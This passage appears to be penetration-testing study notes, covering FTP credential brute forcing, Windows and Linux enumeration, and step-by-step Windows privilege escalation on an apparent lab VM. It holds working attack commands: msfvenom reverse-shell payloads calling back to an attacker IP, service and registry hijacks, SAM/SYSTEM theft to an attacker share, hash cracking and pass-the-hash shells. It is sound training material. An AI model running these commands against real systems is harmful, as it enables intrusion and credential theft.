hydra -v -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -f 10.0.0.3 ftp
```

<details>

<summary>Parameters</summary>

* `-v`: verbose mode.
* `-C <user:pass file>`: colon-separated “login:pass” format.
* `-f`: exit after the first found user/password pair.

</details>

Medusa

The combo files used by Medusa should be in the format host:username:password, separated by colons. If any of these three values are missing, the relevant information should be provided either as a global value or as a list in a separate file.

```sh
sed s/^/:/ /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt > /tmp/cplist.txt
medusa -C /tmp/cplist.txt -h 10.0.0.3 -M ftp
```

<details>

<summary>Parameters</summary>

* `-u <user>`: login with `user` name.
* `-P <passwords file>`: login with password from file.
* `-h`: target hostname or IP address.
* `-M`: module to execute.

</details>

<br>


# Privilege Escalation


# Manual Enumeration


# Windows Enumeration

## <mark style="color:red;">**Users**</mark>

Info about user in use:

```powershell
C:\Users\student> whoami
client251\student
C:\Users\student> net user student
```

Discover other user accounts on the system

```powershell
C:\Users\student>net user
User accounts for \\CLIENT251
-------------------------------------------------------------------------------
admin                    Administrator            DefaultAccount
Guest                    student                  WDAGUtilityAccount
The command completed successfully.
```

## <mark style="color:red;">**Hostname**</mark>

Discover the hostname:

```powershell
C:\Users\student>hostname
client251
```

## <mark style="color:red;">**Operating System Version and Architecture**</mark>

Extract the name of the operating system (Name) as well as its version (Version) and architecture (System):

<pre class="language-powershell"><code class="lang-powershell">C:\> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.16299 N/A Build 16299
System Type:               X86-based PC

# In italian the info changes
<strong>C:\> systeminfo | findstr /B /C:"Nome SO" /C:"Versione SO" /C:"Tipo sistema"
</strong></code></pre>

## <mark style="color:red;">**Running Processes and Services**</mark>

List the running processes:

```bash
C:\> tasklist /SVC
```

## <mark style="color:red;">**Networking Information**</mark>

Display the full TCP/IP configuration of all adapters:

```bash
C:\> ipconfig /all
```

Display the networking routing tables:

```bash
C:\> route print
```

Display active network connections:

```bash
C:\> netstat -ano
```

## <mark style="color:red;">**Firewall Status and Rules**</mark>

Inspect the current firewall profile:

```bash
C:\> netsh advfirewall show currentprofile
```

List firewall rules:

```bash
C:\> netsh advfirewall firewall show rule name=all
```

## <mark style="color:red;">**Scheduled Tasks**</mark>

Display scheduled tasks:

```bash
C:\> schtasks /query /fo LIST /v
```

## <mark style="color:red;">**Installed Applications and Patch Levels**</mark>

List applications and related version that are installed by the *Windows Installer* (it will not list applications that do not use the Windows Installer)

```bash
C:\> wmic product get name, version, vendor
Name                                       Vendor                      Version
Microsoft OneNote MUI (English) 2016       Microsoft Corporation       16.0.4266.1001
Microsoft Office OSM MUI (English) 2016    Microsoft Corporation       16.0.4266.1001
...
```

Wmic can also be used to list system-wide updates by querying the *Win32\_QuickFixEngineering (qfe)* WMI class:

```bash
C:\> wmic qfe get Caption, Description, HotFixID, InstalledOn
Caption                                     Description      HotFixID   InstalledOn
                                            Update           KB2693643  4/7/2018
http://support.microsoft.com/?kbid=4088785  Security Update  KB4088785  3/31/2018
...
```

## <mark style="color:red;">**Readable / Writable Files and Directories**</mark>

Find a file with insecure file permissions in the Program Files directory:

```powershell
C:\> accesschk.exe -uws "Everyone" "C:\Program Files"

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

RW C:\Program Files\TestApplication\testapp.exe
```

Searching for any object can be modified (Modify) by members of the Everyone group:

```powershell
PS C:\> Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

    Directory: C:\Program Files\TestApplication

Path        Owner                  Access
----        -----                  ------
test.exe BUILTIN\Administrators Everyone Allow  Modify, Synchronize...
```

## <mark style="color:red;">**Unmounted Disks**</mark>

List all drives that are currently mounted or physically connected but unmounted:

```powershell
C:\> mountvol
Creates, deletes, or lists a volume mount point.
...
Possible values for VolumeName along with current mount points are:

    \\?\Volume{25721a7f-0000-0000-0000-100000000000}\
        *** NO MOUNT POINTS ***
    \\?\Volume{25721a7f-0000-0000-0000-602200000000}\
        C:\
    \\?\Volume{78fa00a6-3519-11e8-a4dc-806e6f6e6963}\
        D:\
```

## <mark style="color:red;">**Device Drivers and Kernel Modules**</mark>

This technique relies on matching vulnerabilities with corresponding exploits, we'll need to compile a list of drivers and kernel modules that are loaded on the target.

We first produce a list of loaded drivers:

```powershell
C:\> powershell.exe
PS C:\> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path   
```

Request the version number of each loaded driver:

```
PS C:\Users\student> Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

DeviceName               DriverVersion Manufacturer
----------               ------------- ------------
VMware VMCI Host Device  9.8.6.0       VMware, Inc.
VMware PVSCSI Controller 1.3.10.0      VMware, Inc.
...
```

## <mark style="color:red;">**Binaries That AutoElevate**</mark>

Check the status of the *AlwaysInstallElevated* registry setting. If this setting is enabled, we could craft an *MSI* file and run it to elevate our privileges:

```powershell
C:\> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

C:\> reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```


# Linux Enumeration

Useful links: <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>

## <mark style="color:red;">**Users**</mark>

Gather user context information:

```bash
id
uid=1000(student) gid=1000(student) groups=1000(student)
```

Enumerate users:

```bash
cat /etc/passwd
```

## <mark style="color:red;">**Hostname**</mark>

We can discover the hostname with the aptly-named hostname command:

```bash
hostname
debian
```

## <mark style="color:red;">**Operating System Version and Architecture**</mark>

Extract the name of the operating system, its version and architecture:

```bash
cat /etc/issue
Debian GNU/Linux 9 \n \l

cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
...

uname -a
Linux debian 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686 GNU/Linux
```

## <mark style="color:red;">**Running Processes and Services**</mark>

List system processes (including those run by privileged users):

```bash
ps aux
USER       PID %CPU %MEM    VSZ   RSS STAT START   TIME COMMAND
root         1  0.0  0.6  28032  6256 Ss   Nov07   0:03 /sbin/init
root         2  0.0  0.0      0     0 S    Nov07   0:00 [kthreadd]
root       254  0.0  0.9  54536  9924 Ssl  Nov07   1:45 /usr/bin/vmtoolsd
...
```

## <mark style="color:red;">**Networking Information**</mark>

List the TCP/IP configuration of every network adapter:

```bash
ip a
ifconfig
```

Display network routing tables:

```
/sbin/route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref   Use Iface
default         192.168.1.254   0.0.0.0         UG    0      0       0 ens192
10.11.0.0       0.0.0.0         255.255.255.0   U     0      0       0 ens224
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0       0 ens192
```

Display active network connections and listening ports:

```bash
ss -anp
Netid State   Recv-Q Send-Q  Local Address:Port  Peer Address:Port              
...
tcp   LISTEN  0      80  127.0.0.1:3306     *:*                  
tcp   LISTEN  0      128     *:22                *:*                  
tcp   ESTAB   0      48852   10.11.0.128:22      10.11.0.4:52804              
...
```

## <mark style="color:red;">**Scheduled Tasks**</mark>

List scheduled tasks:

```bash
ls -lah /etc/cron*
-rw-r--r-- 1 root root  722 Oct  7  2017 /etc/crontab

/etc/cron.d
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
```

These tasks should be inspected carefully for insecure file permissions as most jobs in this particular file will run as root:

```bash
cat /etc/crontab 
...

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
5 0	* * *	root	/var/scripts/user_backups.sh
```

## <mark style="color:red;">**Installed Applications and Patch Levels**</mark>

List applications installed (by dpkg):

```bash
student@debian:~$ dpkg -l
||/ Name                Version           Architecture  Description
+++-===================-=================-=============-=============================
ii  acl                 2.2.52-3+b1       i386          Access control list utilities
ii  adduser             3.115             all           add and remove users and grou
ii  adwaita-icon-theme  3.22.0-1+deb9u1   all           default icon theme of GNOME
ii  alsa-utils          1.1.3-1           i386          Utilities for configuring and
...
```

## <mark style="color:red;">**Readable / Writable Files and Directories**</mark>

Searching for every directory writable by the current user on the target system:

```bash
student@debian:~$ find / -writable -type d 2>/dev/null
/usr/local/james/bin
/usr/local/james/bin/lib
/proc/16195/task/16195/fd
/proc/16195/fd
...
```

## <mark style="color:red;">**Unmounted Disks**</mark>

List all mounted filesystems. In addition, the /etc/fstab file lists all drives that will be mounted at boot time:

```bash
cat /etc/fstab
mount
```

View all available disks:

```bash
/bin/lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
fd0      2:0    1    4K  0 disk 
sda      8:0    0    5G  0 disk 
├─sda1   8:1    0  4.7G  0 part /
├─sda2   8:2    0    1K  0 part 
└─sda5   8:5    0  334M  0 part [SWAP]
```

## <mark style="color:red;">**Device Drivers and Kernel Modules**</mark>

Enumerate the loaded kernel modules:

```bash
lsmod
Module                  Size  Used by
fuse                   90112  3
appletalk              32768  0
ax25                   49152  0
...
```

Find out more about the specific module.

```bash
/sbin/modinfo libata
filename:       /lib/modules/4.9.0-6-686/kernel/drivers/ata/libata.ko
version:        3.00
license:        GPL
description:    Library module for ATA devices
author:         Jeff Garzik
srcversion:     7D8076C4A3FEBA6219DD851
depends:        scsi_mod
retpoline:      Y
intree:         Y
vermagic:       4.9.0-6-686 SMP mod_unload modversions 686
parm:           zpodd_poweroff_delay:Poweroff delay for ZPODD in seconds (int)
...
```

## <mark style="color:red;">**Binaries that AutoElevate**</mark>

If a binary has the SUID bit set and the file is owned by root, any local user will be able to execute that binary with elevated privileges.&#x20;

Search for SUID-marked binaries:

```bash
find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/userhelper
/usr/bin/passwd
/usr/bin/sudo
...
```


# Windows Privesc

## <mark style="color:red;">Introduction</mark>

1. Use the "whoami" and "net user" commands to check your user account and group memberships, respectively.
2. To search for potential vulnerabilities and escalation opportunities on a Windows system, run the WinPEAS tool with the "fast," "searchfast," and "cmd" options.
3. Run Seatbelt and other scripts that can help identify security-related concerns and potential vulnerabilities for privilege escalation.

Take some time to review the results of your enumeration. If tools like WinPEAS uncover something interesting, take note of it. To avoid getting sidetracked, create a checklist of items necessary for the privilege escalation method to work.

Do a quick search for files on the user's desktop and other common locations, like C:\ or C:\Program Files. When you find interesting files, read through them as they may have valuable information that could help you escalate privileges.

First, try simpler methods such as registry exploits and services that don't require many steps. Look closely at admin processes and note their versions while searching for vulnerabilities. Check for internal ports that you can forward to your attacking machine.

If you still don't have an admin shell, review your entire enumeration report and highlight anything that seems unusual. This could be an unfamiliar process or file name, or even a username. At this point, consider Kernel Exploits as well.

## <mark style="color:red;">Enumeration Resources</mark>

### <mark style="color:blue;">winPeas (recommended)</mark>

winPEAS not only actively hunts for privilege escalation. It **highlights misconfigurations** for the user in the results.&#x20;

It is available here:&#x20;

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20230312>" %}

Before running on Windows, we need to add a registry key and then reopen the command prompt in order to **see colors** (not necessary on Linux):

```
> reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
```

Run all checks while avoiding time-consuming searches:

```
> .\winPEASany.exe quiet cmd fast
```

Run specific check categories:

```
> .\winPEASany.exe quiet cmd systeminfo
```

### <mark style="color:blue;">accesschk.exe</mark>

AccessChk is an old but still trustworthy tool for checking user access control rights. You can use it to check whether a user or group has access to files, directories, services, and registry keys. The downside is more recent versions of the program spawn a GUI “accept EULA” popup window. When using the command line, we have to use an older version which still has an /accepteula command line option.

{% embed url="<https://download.sysinternals.com/files/AccessChk.zip>" %}
You must get an older version which still has an /accepteula command line option
{% endembed %}

<mark style="color:blue;">PowerUp</mark>

PowerUp is available here:&#x20;

{% embed url="<https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1>" %}

To use PowerUp, open a PowerShell session and load the script using dot sourcing:

```
PS> . .\PowerUp.ps1
```

Or import module:

```
import-module .\powerup.ps1
```

Execute the Invoke-AllChecks function to initiate the process of detecting common misconfigurations that can lead to privilege escalation:

```
PS> Invoke-AllChecks
```

### <mark style="color:blue;">PowerView</mark>

PowerView [tips](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993).

PowerView [commands](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview).

### <mark style="color:blue;">SharpUp</mark>

SharpUp [project](<https://github.com/GhostPack/SharpUp >).&#x20;

SharpUp [pre-compiled](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe).

To run SharpUp, start a command prompt and run the executable:

```
> .\SharpUp.exe 
```

As soon as SharpUp is executed, it will begin checking for the same misconfigurations that PowerUp looks for.

### <mark style="color:blue;">SeatBelt</mark>

Seatbelt is a system enumeration tool that performs various checks to identify potential vulnerabilities and security-related issues.

Download from [here](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe).

To run all checks and filter out unimportant results:

```
> .\Seatbelt.exe all 
```

To run specific check(s): .

```
> \Seatbelt.exe <check> <check> ...
```

### <mark style="color:blue;">windows-privesc-check</mark>

Source available [here](https://github.com/pentestmonkey/windows-privesc-check).

```
c:\> windows-privesc-check2.exe --dump -G
```

## <mark style="color:red;">From ADMIN to SYSTEM</mark>

To escalate from an admin user to full SYSTEM privileges, you can use the [PsExec ](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec)tool from Windows Sysinternals.

```
> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe
```

## <mark style="color:red;">Finding Kernel Exploits</mark>

Finding and using kernel exploits is usually a simple process:

1. Enumerate Windows version / patch level (systeminfo).
2. Find matching exploits (Google, ExploitDB, GitHub).
3. Compile and run. Beware though, as Kernel exploits can often be unstable and may be one-shot or cause a system crash.

### <mark style="color:blue;">Windows Exploit Suggester</mark>

Windows Exploit Suggester:&#x20;

{% embed url="<https://github.com/bitsadmin/wesng>" %}

Precompiled Kernel Exploits:&#x20;

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities:&#x20;

{% embed url="<https://github.com/rasta-mouse/Watson>" %}

(Note: These steps are for Windows 7)

1. Extract the output of the systeminfo command:

```
> systeminfo > systeminfo.txt
```

2. Run wesng on kali to find potential exploits:

```
# python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
```

3. Cross-reference results with compiled exploits:&#x20;

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

4. Download the compiled exploit for CVE-2018-8210 onto the Windows VM:&#x20;

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120/x64.exe>" %}

4. Start a listener on Kali and run the exploit, providing it with the reverse shell executable, which should run with SYSTEM privileges:

<pre><code><strong>> .\x64.exe C:\PrivEsc\reverse.exe
</strong></code></pre>

## <mark style="color:red;">Service Exploits</mark>

Query the configuration of a service:

```
> sc.exe qc <name>
```

Query the current status of a service:

```
> sc.exe query <name>
```

Modify a configuration option of a service:

```
> sc.exe config <name> <option>= <value>
```

Start/Stop a service:

```
> net start/stop <name>
```

You could also need to reboot restart the machine to restart the service:

```
shutdown /r /t 0
```

### <mark style="color:blue;">Insecure Service Permissions</mark>

Each service has an ACL which defines certain service-specific permissions:

1. Some permissions are innocuous (e.g. SERVICE\_QUERY\_CONFIG, SERVICE\_QUERY\_STATUS).
2. Some may be useful (e.g. SERVICE\_STOP, SERVICE\_START).&#x20;
3. Some are dangerous (e.g. SERVICE\_CHANGE\_CONFIG, SERVICE\_ALL\_ACCESS)

{% hint style="info" %}
Be cautious of **potential rabbit holes** when attempting to escalate privileges. For instance, if you can modify the configuration of a service but are unable to start or stop it, it's possible that you may not be able to escalate privileges.
{% endhint %}

If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own.

1. Run winPEAS to check for service misconfigurations:

```
> .\winPEASany.exe quiet servicesinfo
```

2. Note that we can modify the “daclsvc” service.
3. We can confirm this with accesschk.exe:

```
> .\accesschk.exe /accepteula -uwcqv user daclsvc
```

4. Check the current configuration of the service:

```
> sc qc daclsvc
```

5. Check the current status of the service:

```
> sc query daclsvc
```

6. Reconfigure the service to use our reverse shell executable:

```
> sc config daclsvc binpath="\"C:\PrivEsc\reverse.exe\""
```

7. Start a listener on Kali, and then start the service to trigger the exploit:

```
> net start daclsvc
```

8. You could also need to reboot the machine to restart the service:

```
shutdown /r /t 0
```

### <mark style="color:blue;">Unquoted Service Path</mark>

1. Run winPEAS to check for service misconfigurations:

```
> .\winPEASany.exe quiet servicesinfo
```

2. Note that the “unquotedsvc” service has an unquoted path that also contains spaces: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
3. Confirm this using sc:

```
> sc qc unquotedsvc
```

4. Use accesschk.exe to check for write permissions:

```
> .\accesschk.exe /accepteula -uwdq C:\
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
```

5. Copy the reverse shell executable and rename it appropriately:

```
> copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
```

6. Start a listener on Kali, and then start the service to trigger the exploit:

```
> net start unquotedsvc
```

7. You could also need to reboot the machine to restart the service:

```
shutdown /r /t 0
```

### <mark style="color:blue;">Weak Registry Permissions</mark>

The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service’s configuration even if we cannot modify the service directly.

1. Run winPEAS to check for service misconfigurations:

```
> .\winPEASany.exe quiet servicesinfo
```

2. Note that the “regsvc” service has a weak registry entry. We can confirm this with PowerShell:

```
> powershell -exec bypass
```

```
PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
```

3. Alternatively accesschk.exe can be used to confirm:

```
> .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
```

4. Overwrite the ImagePath registry key to point to our reverse shell executable:

```
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
```

5. Start a listener on Kali, and then start the service to trigger the exploit:

```
> net start regsvc
```

6. You could also need to reboot the machine to restart the service:

```
shutdown /r /t 0
```

### <mark style="color:blue;">Insecure Service Executables</mark>

1. Run winPEAS to check for service misconfigurations:

```
> .\winPEASany.exe quiet servicesinfo
```

2. Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME).

```
> sc qc filepermsvc
```

3. Note that the “filepermsvc” service has an executable which appears to be writable by everyone. We can confirm this with accesschk.exe:

```
> .\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
```

4. Let's check if we can start and stop the service:

```
> .\accesschk.exe /accepteula -uvqc filepermsvc
```

5. Create a backup of the original service executable:

```
> copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
```

6. Copy the reverse shell executable to overwrite the service executable:

```
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
```

7. Start a listener on Kali, and then start the service to trigger the exploit:

```
> net start filepermsvc
```

8. You could also need to reboot the machine to restart the service:

```
shutdown /r /t 0
```

### <mark style="color:blue;">DLL Hijacking</mark>

1. Use winPEAS to enumerate non-Windows services:

```
> .\winPEASany.exe quiet servicesinfo
```

2. Note that the C:\Temp directory is writable and in the PATH. Start by enumerating which of these services our user has stop and start access to:

```
> .\accesschk.exe /accepteula -uvqc user dllsvc
```

3. The “dllsvc” service is vulnerable to DLL Hijacking. According to the winPEAS output, the service runs the dllhijackservice.exe executable. We can confirm this manually:

```
> sc qc dllsvc
```

4. Run Procmon64.exe with administrator privileges. Press Ctrl+L to open the Filter menu.
5. Add a new filter on the Process Name matching dllhijackservice.exe.
6. On the main screen, deselect registry activity and network activity.
7. Start the service:

```
> net start dllsvc
```

8. Back in Procmon, note that a number of “NAME NOT FOUND” errors appear, associated with the hijackme.dll file.
9. At some point, Windows tries to find the file in the C:\Temp directory, which as we found earlier, is writable by our user.
10. On Kali, generate a reverse shell DLL named hijackme.dll:

```
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
```

11. Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:

```
> net stop dllsvc
> net start dllsvc
```

## <mark style="color:red;">Registry Exploits</mark> <a href="#registry" id="registry"></a>

### <mark style="color:blue;">AutoRuns</mark>

Windows can be configured to run commands at startup, with elevated privileges. These “AutoRuns” are configured in the Registry. If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted) you may be able to escalate privileges.

1. Use winPEAS to check for writable AutoRun executables:

```
> .\winPEASany.exe quiet applicationsinfo
```

2. Alternatively, we could manually enumerate the AutoRun executables:

```
> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

3. and then use accesschk.exe to verify the permissions on each one:

```
> .\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
```

4. The “C:\Program Files\Autorun Program\program.exe” AutoRun executable is writable by Everyone. Create a backup of the original:

```
> copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
```

5. Copy our reverse shell executable to overwrite the AutoRun executable:

```
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
```

6. Start a listener on Kali, and then restart the Windows VM to trigger the exploit. Note that on Windows 10, the exploit appears to run with the privileges of the last logged on user, so log out of the “user” account and log in as the “admin” account first.

### <mark style="color:blue;">AlwaysInstallElevated</mark>

MSI files are package files used to install applications. These files run with the permissions of the user trying to install them. Windows allows for these installers to be run with elevated (i.e. admin) privileges. If this is the case, we can generate a malicious MSI file which contains a reverse shell.

The catch is that two Registry settings must be enabled for this to work.

The “**AlwaysInstallElevated**” value must be set to 1 for both&#x20;

1. the **local machine**: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer&#x20;
2. and the **current user**: HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer&#x20;

If either of these are missing or disabled, the exploit will not work.

1. Use winPEAS to see if both registry values are set:

```
> .\winPEASany.exe quiet windowscreds
```

2. Alternatively, verify the values manually:

```
> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

3. Create a new reverse shell with msfvenom, this time using the msi format, and save it with the .msi extension:

```
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
```

4. Copy the reverse.msi across to the Windows VM, start a listener on Kali, and run the installer to trigger the exploit:

```
> msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
```

## <mark style="color:red;">Passwords</mark>

The following commands will search the registry for keys and values that contain “password”:

```
> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s
```

This usually generates a lot of results, so often it is more fruitful to look in known locations.

1. Use winPEAS to check common password locations:

```
> .\winPEASany.exe quiet filesinfo userinfo
```

2. The results show both AutoLogon credentials and Putty session credentials for the admin user (admin/password123).
3. We can verify these manually:

```
> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
> reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
```

4. On Kali, we can use the winexe command to spawn a shell using these credentials:

```
# winexe -U 'admin%password123' //192.168.1.22 cmd.exe
```

5. We can also obtain a system shell using the admin user with winexe:

```
# winexe -U 'admin%password123' --system //192.168.1.22 cmd.exe
```

### <mark style="color:blue;">Saved Credentials</mark>

Windows has a runas command which allows users to run commands with the privileges of other users. This usually requires the knowledge of the other user’s password. However, Windows also allows users to save their credentials to the system, and these saved credentials can be used to bypass this requirement.

1. Use winPEAS to check for saved credentials:

```
> .\winPEASany.exe quiet cmd windowscreds
```

2. It appears that saved credentials for the admin user exist.&#x20;
3. We can verify this manually using the following command:

```
> cmdkey /list
```

4. If the saved credentials aren’t present, run the following script to refresh the credential:

```
> C:\PrivEsc\savecred.bat
```

5. We can use the saved credential to run any command as the admin user. Start a listener on Kali and run the reverse shell executable:

```
> runas /savecred /user:admin C:\PrivEsc\reverse.exe
```

### <mark style="color:blue;">Searching for Configuration Files</mark>

Some administrators will leave configurations files on the system with passwords in them.

Recursively search for files in the current directory with “pass” in the name, or ending in “.config”:

```
> dir /s *pass* == *.config
```

Recursively search for files in the current directory that contain the word “password” and also end in either .xml, .ini, or .txt:

```
> findstr /si password *.xml *.ini *.txt
```

1. Use winPEAS to search for common files which may contain credentials:

```
> .\winPEASany.exe quiet cmd searchfast filesinfo
```

2. The Unattend.xml file was found. View the contents:

```
> type C:\Windows\Panther\Unattend.xml
```

3. Found the credentials inside the file we can simply use winexe to spawn a shell as the admin user, or system

### <mark style="color:blue;">SAM/SYSTEM Files</mark>

Windows stores password hashes in the Security Account Manager (SAM). The hashes are encrypted with a key which can be found in a file named SYSTEM. If you have the ability to read the SAM and SYSTEM files, you can extract the hashes.

The SAM and SYSTEM files are located in the **C:\Windows\System32\config** directory. The files are locked while Windows is running. Backups of the files may exist in the following directories:

* &#x20;C:\Windows\Repair
* &#x20;C:\Windows\System32\config\RegBack

1. Backups of the SAM and SYSTEM files can be found in C:\Windows\Repair and are readable by our user.
2. Copy the files back to Kali:

```
> copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
> copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\
```

We can also extract a copy of the SAM and SYSTEM files using reg.exe:

```
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM
```

3. Starting with secretsdump.py (**recommended**), which is also part of the Impacket Suite of Tools, we can dump the NL and NTLM hashes using the following command:

```
# impacket-secretsdump -sam SAM -system SYSTEM LOCAL
```

We can alternatively use samdump2 (**not recommended**) to dump the hashes the same way, the command is simply:

```
# samdump2 SYSTEM SAM
```

4. Run the pwdump tool against the SAM and SYSTEM files to extract the hashes:

```
# python3 creddump7/pwdump.py SYSTEM SAM
```

5. Crack the admin user hash using hashcat:

```
# hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt
```

### <mark style="color:blue;">Passing the Hash</mark>

We can use a modified version of winexe, pth-winexe to spawn a command prompt using the admin user’s hash.

1. Extract the admin hash from the SAM in the previous step.
2. Use the hash with pth-winexe to spawn a command prompt:

```
# pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
```

3. Use the hash with pth-winexe to spawn a SYSTEM level command prompt:

```
# pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
```

## <mark style="color:red;">Scheduled Tasks</mark>

List all scheduled tasks your user can see:

```
> schtasks /query /fo LIST /v
```

In PowerShell:

```
PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```

Often we have to rely on other clues, such as finding a script or log file that indicates a scheduled task is being run.

1. In the C:\DevTools directory, there is a PowerShell script called “CleanUp.ps1”. View the script:

```
> type C:\DevTools\CleanUp.ps1
```

2. This script seems like it is running every minute as the SYSTEM user. We can check our privileges on this script using accesschk.exe:

```
> C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
```

It appears we have the ability to write to this file.

3. Backup the script:

```
> copy C:\DevTools\CleanUp.ps1 C:\Temp\
```

4. Start a listener on Kali.
5. Use echo to append a call to our reverse shell executable to the end of the script:

```
> echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
```

6. Wait for the scheduled task to run (it should run every minute) to complete the exploit.

## <mark style="color:red;">Insecure GUI Apps (Citrix Method)</mark>

In earlier versions of Windows, it was possible for users to be authorized to run certain GUI applications with administrative privileges. There are typically multiple ways to generate command prompts from within GUI applications, including using built-in Windows functionality. As the parent process runs with administrative privileges, any command prompts generated will also be executed with these privileges. This technique is often referred to as the "Citrix Method" because it uses many of the same methods employed to escape from Citrix environments.

1. Log into the Windows VM using the GUI with the “user” account.
2. Double click on the “AdminPaint” shortcut on the Desktop.
3. Open a command prompt and run:

```
> tasklist /V | findstr mspaint.exe
```

Note that mspaint.exe is running with admin privileges.

4. In Paint, click File, then Open.
5. In the navigation input, replace the contents with:

```
